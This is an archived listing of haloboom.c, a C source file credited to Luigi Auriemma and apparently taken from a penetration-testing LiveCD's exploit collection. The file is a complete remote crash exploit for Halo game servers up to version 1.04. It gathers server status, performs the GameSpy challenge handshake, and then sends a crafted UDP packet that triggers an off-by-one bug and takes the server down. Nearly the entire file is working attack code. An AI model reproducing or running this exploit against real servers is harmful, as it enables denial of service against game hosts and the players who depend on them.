home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / halo / haloboom.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  214 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include "gssdkcr.h"
  11.  
  12. #ifdef WIN32
  13.     #include <winsock.h>
  14.     #include "winerr.h"
  15.  
  16.     #define close   closesocket
  17. #else
  18.     #include <unistd.h>
  19.     #include <sys/socket.h>
  20.     #include <sys/types.h>
  21.     #include <arpa/inet.h>
  22.     #include <netdb.h>
  23. #endif
  24.  
  25.  
  26.  
  27. #define VER     "0.1"
  28. #define BUFFSZ  12300   // max packet accepted to crash, useless
  29. #define PORT    2302
  30. #define TIMEOUT 3
  31. #define BOOMSZ  1       // yes 1 because it is an off-by-one bug
  32. #define PCK     "\xFE\xFE\x01\x00\x00\x00\x00" \
  33.                 "00000000000000000000000000000000"
  34.                 // base for the random client's challenge
  35.  
  36.  
  37.  
  38. void gs_info_udp(struct sockaddr_in *peer);
  39. u_long resolv(char *host);
  40. int timeout(int sock);
  41. void std_err(void);
  42.  
  43.  
  44.  
  45. int main(int argc, char *argv[]) {
  46.     int         sd,
  47.                 len,
  48.                 port = PORT;
  49.     u_char      buff[BUFFSZ + 1];
  50.     struct  sockaddr_in peer;
  51.  
  52.  
  53.     setbuf(stdout, NULL);
  54.  
  55.     fputs("\n"
  56.         "Halo <= 1.04 remote server crash "VER"\n"
  57.         "by Luigi Auriemma\n"
  58.         "e-mail: aluigi@altervista.org\n"
  59.         "web:    http://aluigi.altervista.org\n"
  60.         "\n", stdout);
  61.  
  62.     if(argc < 2) {
  63.         printf("\n"
  64.             "Usage: %s <server> [port(%d)]\n"
  65.             "\n", argv[0], PORT);
  66.         exit(1);
  67.     }
  68.  
  69. #ifdef WIN32
  70.     WSADATA    wsadata;
  71.     WSAStartup(MAKEWORD(1,0), &wsadata);
  72. #endif
  73.  
  74.     if(argc > 2) port = atoi(argv[2]);
  75.     peer.sin_addr.s_addr = resolv(argv[1]);
  76.     peer.sin_port        = htons(port);
  77.     peer.sin_family      = AF_INET;
  78.  
  79.     printf("\nTarget %s:%hu\n",
  80.         inet_ntoa(peer.sin_addr),
  81.         port);
  82.  
  83.     fputs("- Request informations\n", stdout);
  84.     gs_info_udp(&peer);
  85.  
  86.     fputs("- Start attack\n", stdout);
  87.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  88.     if(sd < 0) std_err();
  89.  
  90.     memcpy(buff, PCK, sizeof(PCK) - 1);
  91.     gssdkcr(buff + 7, buff + 7, 0);
  92.  
  93.     if(sendto(sd, buff, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
  94.       < 0) std_err();
  95.     if(timeout(sd) < 0) {
  96.         fputs("\n"
  97.             "Error: socket timeout, probably the server is not online\n"
  98.             "\n", stdout);
  99.         exit(1);
  100.     }
  101.     len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
  102.     if(len < 0) std_err();
  103.     buff[len] = 0x00;
  104.  
  105.     memcpy(buff, "\xfe\xfe\x03\x00\x01\x00\x01", 7);
  106.     gssdkcr(buff + 7, buff + 39, 0);
  107.     memset(buff + 39, 'a', BOOMSZ);
  108.     memcpy(buff + 39 + BOOMSZ,
  109.         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xaf\x18\x43\x09\x00",
  110.         20);
  111.  
  112.     fputs("- Send BOOM packet\n", stdout);
  113.     if(sendto(sd, buff, BOOMSZ + 59, 0, (struct sockaddr *)&peer, sizeof(peer))
  114.       < 0) std_err();
  115.     if(timeout(sd) < 0) {
  116.         fputs("\nServer IS vulnerable!!!\n", stdout);
  117.     } else {
  118.         fputs("\nServer doesn't seem vulnerable\n", stdout);
  119.     }
  120.  
  121.     close(sd);
  122.  
  123.     return(0);
  124. }
  125.  
  126.  
  127.  
  128. void gs_info_udp(struct sockaddr_in *peer) {
  129.     int     sd,
  130.             len,
  131.             nt = 1;
  132.     u_char  buff[2048],
  133.             *p1,
  134.             *p2;
  135.  
  136.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  137.     if(sd < 0) std_err();
  138.  
  139.     if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)peer, sizeof(*peer))
  140.       < 0) std_err();
  141.  
  142.     if(timeout(sd) < 0) {
  143.         fputs("\n"
  144.             "Alert: Socket timeout, no answers received\n"
  145.             "\n", stdout);
  146.         close(sd);
  147.         return;
  148.     }
  149.     len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
  150.     if(len < 0) std_err();
  151.     buff[len] = 0x00;
  152.  
  153.     p1 = buff;
  154.     while((p2 = strchr(p1, '\\'))) {
  155.         *p2 = 0x00;
  156.         if(!nt) {
  157.             printf("%30s: ", p1);
  158.             nt++;
  159.         } else {
  160.             printf("%s\n", p1);
  161.             nt = 0;
  162.         }
  163.         p1 = p2 + 1;
  164.     }
  165.     printf("%s\n\n", p1);
  166.  
  167.     close(sd);
  168. }
  169.  
  170.  
  171.  
  172. u_long resolv(char *host) {
  173.     struct hostent *hp;
  174.     u_long host_ip;
  175.  
  176.     host_ip = inet_addr(host);
  177.     if(host_ip == INADDR_NONE) {
  178.         hp = gethostbyname(host);
  179.         if(!hp) {
  180.             printf("\nError: Unable to resolv hostname (%s)\n", host);
  181.             exit(1);
  182.         } else host_ip = *(u_long *)hp->h_addr;
  183.     }
  184.     return(host_ip);
  185. }
  186.  
  187.  
  188.  
  189. int timeout(int sock) {
  190.     struct  timeval tout;
  191.     fd_set  fd_read;
  192.     int     err;
  193.  
  194.     tout.tv_sec = TIMEOUT;
  195.     tout.tv_usec = 0;
  196.     FD_ZERO(&fd_read);
  197.     FD_SET(sock, &fd_read);
  198.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  199.     if(err < 0) std_err();
  200.     if(!err) return(-1);
  201.     return(0);
  202. }
  203.  
  204.  
  205.  
  206. #ifndef WIN32
  207.     void std_err(void) {
  208.         perror("\nError");
  209.         exit(1);
  210.     }
  211. #endif
  212.  
  213.  
  214.